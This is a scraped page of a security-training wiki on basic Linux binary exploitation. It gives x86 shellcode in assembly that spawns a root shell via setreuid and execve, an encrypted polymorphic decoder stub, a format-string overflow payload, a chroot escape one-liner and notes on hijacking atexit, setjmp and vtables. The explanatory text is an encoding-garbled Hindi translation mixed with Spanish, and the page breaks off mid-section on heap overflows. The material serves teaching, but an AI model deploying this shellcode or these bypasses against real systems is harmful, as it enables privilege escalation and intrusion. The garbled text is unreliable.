.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
рдХрд░реНрдиреЗрд▓ рдЗрдВрдЯрд░рдкреНрд╢рди рджреЗрдЦреЗрдВ: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep тАЬ__NR_тАЭ
setreuid(0,0); // __NR_setreuid 70
execve(тАЬ/bin/shтАЭ, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax рдХреЛ рд╕рд╛рдл рдХрд░реЗрдВ
xor ebx, ebx ; ebx = 0 рдХреНрдпреЛрдВрдХрд┐ рдХреЛрдИ рддрд░реНрдХ рдирд╣реАрдВ рд╣реИ
mov al, 0x01 ; eax = 1 тАФ> __NR_exit 1
int 0x80 ; syscall рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
nasm -f elf assembly.asm тАФ> рд╣рдореЗрдВ рдПрдХ .o рджреЗрддрд╛ рд╣реИ
ld assembly.o -o shellcodeout тАФ> рд╣рдореЗрдВ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рджреЗрддрд╛ рд╣реИ рдЬреЛ рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рд╕реЗ рдмрдирд╛ рд╣реИ рдФрд░ рд╣рдо objdump рдХреЗ рд╕рд╛рде рдСрдкрдХреЛрдб рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ
objdump -d -Mintel ./shellcodeout тАФ> рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рдорд╛рд░реА рд╢реЗрд▓рдХреЛрдб рд╣реИ рдФрд░ рдСрдкрдХреЛрдб рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП
рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
char shellcode[] = тАЬ\x31\xc0\x31\xdb\xb0\x01\xcd\x80тАЭ
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">тАЛ</span>
Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en strace ./PROGRAMA_COMPILADO
рдПрдХ рд╢реЗрд▓рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд╕рдордп рдПрдХ рдЯреНрд░рд┐рдХ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдкрд╣рд▓реА рдирд┐рд░реНрджреЗрд╢ рдПрдХ рдХреЙрд▓ рдкрд░ рдЬрдВрдк рд╣реИред рдХреЙрд▓ рдореВрд▓ рдХреЛрдб рдХреЛ рдмреБрд▓рд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╕реНрдЯреИрдХ рдореЗрдВ EIP рдбрд╛рд▓рддрд╛ рд╣реИред рдХреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдмрд╛рдж, рд╣рдордиреЗ рдЖрд╡рд╢реНрдпрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдбрд╛рд▓реА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЙрд╕ EIP рдХреЗ рд╕рд╛рде рд╣рдо рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al ├║ltimo call
popl %esi ; Guardamos en ese la direcci├│n al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=тАЬ/bin/shтАЭ
leal 0x8(%esi), %ecx ; arg[2] = {тАЬ/bin/shтАЭ, тАЬ0тАЭ}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(тАЬ/bin/shтАЭ, [тАЬ/bin/shтАЭ, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instruci├│n
.string \тАЭ/bin/sh\тАЭ ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">тАЛ</span>
EJ рд╕реНрдЯреИрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; тАЬ\0тАЭ
push dword 0x68732f2f ; тАЬ//shтАЭ
push dword 0x6e69622f; тАЬ/binтАЭ
mov ebx, esp ; arg1 = тАЬ/bin//sh\0тАЭ
push eax ; Null -> args[1]
push ebx ; тАЬ/bin/sh\0тАЭ -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(тАЬ/bin/shтАЭ, args[тАЬ/bin/shтАЭ, тАЬNULLтАЭ], NULL)
рдИрдЬреЗ рдПрдлрдПрдирдПрд╕рдЯреАрдИрдПрдирд╡реА:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecut├│ fabs
тАж
Egg Huter:
рдпрд╣ рдПрдХ рдЫреЛрдЯрд╛ рдХреЛрдб рд╣реИ рдЬреЛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЬреБрдбрд╝реЗ рдореЗрдореЛрд░реА рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд╣рд╛рдВ рд╕рдВрдЧреНрд░рд╣реАрдд shellcode рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ (рдпрд╣ shellcode рдореЗрдВ рд░рдЦреА рдЧрдИ рдХрд┐рд╕реА рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ)ред рдпрд╣ рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрд╣рд╛рдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рдЫреЛрдЯрд╛ рд╕реНрдерд╛рди рд╣реЛрддрд╛ рд╣реИред
Shellcodes polim├│rficos
рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╢реЗрд▓реНрд╕ рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рдХреЛрдб рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдЙрдиреНрд╣реЗрдВ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕ рдкрд░ рдХреВрджрддрд╛ рд╣реИ, Call-Pop рдХреЗ рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕реАрдЬрд╝рд░ рд╣реЛрдЧрд╛:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrer├б)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aqu├н va el shellcode
5.рдкреВрд░рдХ рд╡рд┐рдзрд┐рдпрд╛рдБ
рдореБрд░рд╛рдд рддрдХрдиреАрдХ
рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рд╕рднреА рдкреНрд░реЛрдЧреНрд░рд╛рдо 0xbfffffff рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░ рдореИрдк рд╣реЛрддреЗ рд╣реИрдВред
рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рдПрдХ рдирдП рдкреНрд░реЛрд╕реЗрд╕ рдХреА рд╕реНрдЯреИрдХ рдХреИрд╕реЗ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдпрд╣ рджреЗрдЦрдХрд░ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдХ рдРрд╕реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╢реБрд░реВ рд╣реЛ, рдЬрд┐рд╕рдХреА рдПрдХрдорд╛рддреНрд░ рд╡реИрд░рд┐рдПрдмрд▓ рд╢реЗрд▓рдХреЛрдб рд╣реЛред рдЗрд╕рдХрд╛ рдкрддрд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕рд╛рде рдкрд░реНрдпрд╛рд╡рд░рдг рд╡реИрд░рд┐рдПрдмрд▓ рдХрд╛ рдкрддрд╛ рд╕рд░рд▓рддрд╛ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдпрд╣ execle рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдПрдХ рдРрд╕рд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЗрд╡рд▓ рдЗрдЪреНрдЫрд┐рдд рдкрд░реНрдпрд╛рд╡рд░рдг рд╡реИрд░рд┐рдПрдмрд▓ рд╣реЛрдВред
рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕
sprintf рдПрдХ рдлреЙрд░реНрдореЗрдЯреЗрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдПрдХ рд╡реИрд░рд┐рдПрдмрд▓ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдлреЙрд░реНрдореЗрдЯрд┐рдВрдЧ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдПрдХ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдЙрддреНрдкрдиреНрди рд╣реЛ рдЙрд╕ рд╡реИрд░рд┐рдПрдмрд▓ рдореЗрдВ рдЬрд╣рд╛рдВ рд╕рд╛рдордЧреНрд░реА рдХреЙрдкреА рдХреА рдЬрд╛рддреА рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреЗрд▓реЛрдб %.44xAAAA
44B+"AAAA" рдХреЛ рд╡реИрд░рд┐рдПрдмрд▓ рдореЗрдВ рд▓рд┐рдЦреЗрдЧрд╛, рдЬреЛ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред
__atexit рд╕рдВрд░рдЪрдирд╛рдПрдБ
{% hint style="danger" %} рдЖрдЬрдХрд▓ рдЗрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдирд╛ рдмрд╣реБрдд рдЕрдЬреАрдм рд╣реИред {% endhint %}
atexit()
рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпреЗ рдлрд╝рдВрдХреНрд╢рди рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВрдЧреЗ рдЬрдм exit()
рдпрд╛ рдореБрдЦреНрдп рдХрд╛ рд░рд┐рдЯрд░реНрди рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдпрджрд┐ рдЖрдк рдЗрди рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рдкрддреЗ рдХреЛ рд╢реЗрд▓рдХреЛрдб рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреНрд░реЛрд╕реЗрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИред
рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдкрддреЗ рдХрдИ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЗ рдкреАрдЫреЗ рдЫрд┐рдкреЗ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЕрдВрддрддрдГ рдЬрд┐рд╕ рдкрддреЗ рдХреА рдУрд░ рд╡реЗ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рд╡реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдкрддреЗ рдирд╣реАрдВ рд╣реЛрддреЗ, рдмрд▓реНрдХрд┐ XOR рдФрд░ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд╡рд┐рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдпрд╣ рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рдХрдо рд╕реЗ рдХрдо x86 рдФрд░ x64_86 рдкрд░ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реИред
рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдлрд╝рдВрдХреНрд╢рди PTR_MANGLE
рд╣реИред рдЕрдиреНрдп рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдЬреИрд╕реЗ m68k, mips32, mips64, aarch64, arm, hppa... рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд░рддреЗ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЙрд╕реА рдХреЛ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕реЗ рдЗрдирдкреБрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпреЗ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдЗрд╕ рд╡реЗрдХреНрдЯрд░ рджреНрд╡рд╛рд░рд╛ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрдВрдЧреЗред
setjmp() & longjmp()
{% hint style="danger" %} рдЖрдЬрдХрд▓ рдЗрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдирд╛ рдмрд╣реБрдд рдЕрдЬреАрдм рд╣реИред {% endhint %}
setjmp()
рд╕рдВрджрд░реНрдн (рд░рдЬрд┐рд╕реНрдЯрд░) рдХреЛ рд╕рд╣реЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
longjmp()
рд╕рдВрджрд░реНрдн рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рд╕рд╣реЗрдЬреЗ рдЧрдП рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реИрдВ: EBX, ESI, EDI, ESP, EIP, EBP
рдЬреЛ рд╣реЛрддрд╛ рд╣реИ рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ EIP рдФрд░ ESP PTR_MANGLE
рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рд╡рд╣реА рд╣реИрдВ рдЬреЛ рдКрдкрд░ рд╣реИрдВред
рдпреЗ рддреНрд░реБрдЯрд┐ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдпрд╛ рдЗрдВрдЯрд░рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрддреЗ рд╣реИрдВред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдореИрдВрдиреЗ рдЬреЛ рдкрдврд╝рд╛ рд╣реИ, рдЙрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЕрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ call ebx
, call esi
рдпрд╛ call edi
рд╣реИ, рддреЛ рдирд┐рдпрдВрддреНрд░рдг рд▓рд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╛ рдЖрдк EBP рдХреЛ рднреА рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ ESP рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
C++ рдореЗрдВ VTable рдФрд░ VPTR
рдкреНрд░рддреНрдпреЗрдХ рдХрдХреНрд╖рд╛ рдХрд╛ рдПрдХ Vtable рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХрд╛ рдПрдХ рдРрд░реЗ рд╣реЛрддрд╛ рд╣реИред
рдкреНрд░рддреНрдпреЗрдХ рдХрдХреНрд╖рд╛ рдХреА рдПрдХ VPtr рд╣реЛрддреА рд╣реИ, рдЬреЛ рдЙрд╕рдХреА рдХрдХреНрд╖рд╛ рдХреЗ рдРрд░реЗ рдХрд╛ рдкреЙрдЗрдВрдЯрд░ рд╣реЛрддреА рд╣реИред VPtr рдкреНрд░рддреНрдпреЗрдХ рд╡рд╕реНрддреБ рдХреЗ рд╣реЗрдбрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ VPtr рдХрд╛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдПрдХ рдбрдореА рд╡рд┐рдзрд┐ рдХреА рдУрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдкрд░ рд╢реЗрд▓рдХреЛрдб рдкрд░ рдЬрд╛рдПред
рдирд┐рд╡рд╛рд░рдХ рдЙрдкрд╛рдп рдФрд░ рдмрдЪрд╛рд╡
Libsafe рдХрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди
рдЗрд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: LD_PRELOAD=/lib/libsafe.so.2
рдпрд╛
тАЬ/lib/libsave.so.2тАЭ > /etc/ld.so.preload
рдпрд╣ рдХреБрдЫ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рдХреЙрд▓ рдХреЛ рдЕрдиреНрдп рд╕реБрд░рдХреНрд╖рд┐рдд рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдорд╛рдирдХреАрдХреГрдд рдирд╣реАрдВ рд╣реИред (рдХреЗрд╡рд▓ x86 рдХреЗ рд▓рд┐рдП, -fomit-frame-pointer рдХреЗ рд╕рд╛рде рд╕рдВрдХрд▓рди рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рд╕реНрдереИрддрд┐рдХ рд╕рдВрдХрд▓рди рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рд╕рднреА рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдлрд╝рдВрдХреНрд╢рди рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рдмрдирддреЗ рдФрд░ LD_PRELOAD suid рд╡рд╛рд▓реЗ рдмрд╛рдЗрдирд░реА рдореЗрдВ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛)ред
ASCII рдЖрд░реНрдорд░реНрдб рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕
рдпрд╣ 0x00000000 рд╕реЗ 0x00ffffff рддрдХ рд╕рд╛рдЭрд╛ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рддрд╛рдХрд┐ рд╣рдореЗрд╢рд╛ рдПрдХ рдмрд╛рдЗрдЯ 0x00 рд╣реЛред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд▓рдЧрднрдЧ рдХреЛрдИ рд╣рдорд▓рд╛ рдирд╣реАрдВ рд░реЛрдХрддрд╛ рд╣реИ, рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд▓рд┐рдЯрд┐рд▓ рдПрдВрдбрд┐рдпрди рдореЗрдВред
ret2plt
рдпрд╣ рдПрдХ ROP рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рддрд╛рдХрд┐ strcpy@plt (plt рд╕реЗ) рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ GOT рдореЗрдВ рдПрдХ рдПрдВрдЯреНрд░реА рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рдмрд╛рдЗрдЯ рдХреЛ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд┐рд╕реЗ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИ (system())ред рдЗрд╕рдХреЗ рдмрд╛рдж, GOT+1 рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реБрдП рд╡рд╣реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ system() рдХрд╛ 2┬║ рдмрд╛рдЗрдЯ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ... рдЕрдВрдд рдореЗрдВ, GOT рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкрддреЗ рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ system() рд╣реЛрдЧрд╛ред
chroot() рдХреЗ рд╕рд╛рде рдкрд┐рдВрдЬрд░реЗ
debootstrap -arch=i386 hardy /home/user тАФ> рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рддрд╣рдд рдПрдХ рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рдгрд╛рд▓реА рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдкрд┐рдВрдЬрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддрд╛ рд╣реИ: mkdir foo; chroot foo; cd ..
рдХреЛрдб рдЗрдВрд╕реНрдЯреНрд░реБрдореЗрдВрдЯреЗрд╢рди
Valgrind тАФ> рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ
Memcheck
RAD (рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдбрд┐рдлреЗрдВрдбрд░)
Insure++
8 рд╣реАрдк рдУрд╡рд░рдлреНрд▓реЛ: рдмреБрдирд┐рдпрд╛рджреА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ
рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЯреБрдХрдбрд╝рд╛
prev_size |
size | тАФрд╣реЗрдбрд░
*mem | рдбреЗрдЯрд╛
рдлреНрд░реА рдЯреБрдХрдбрд╝рд╛
prev_size |
size |
*fd | рдЕрдЧрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдкреЙрдЗрдВрдЯрд░
*bk | рдкрд┐рдЫрд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХрд╛ рдкреЙрдЗрдВрдЯрд░ тАФрд╣реЗрдбрд░
*mem | рдбреЗрдЯрд╛
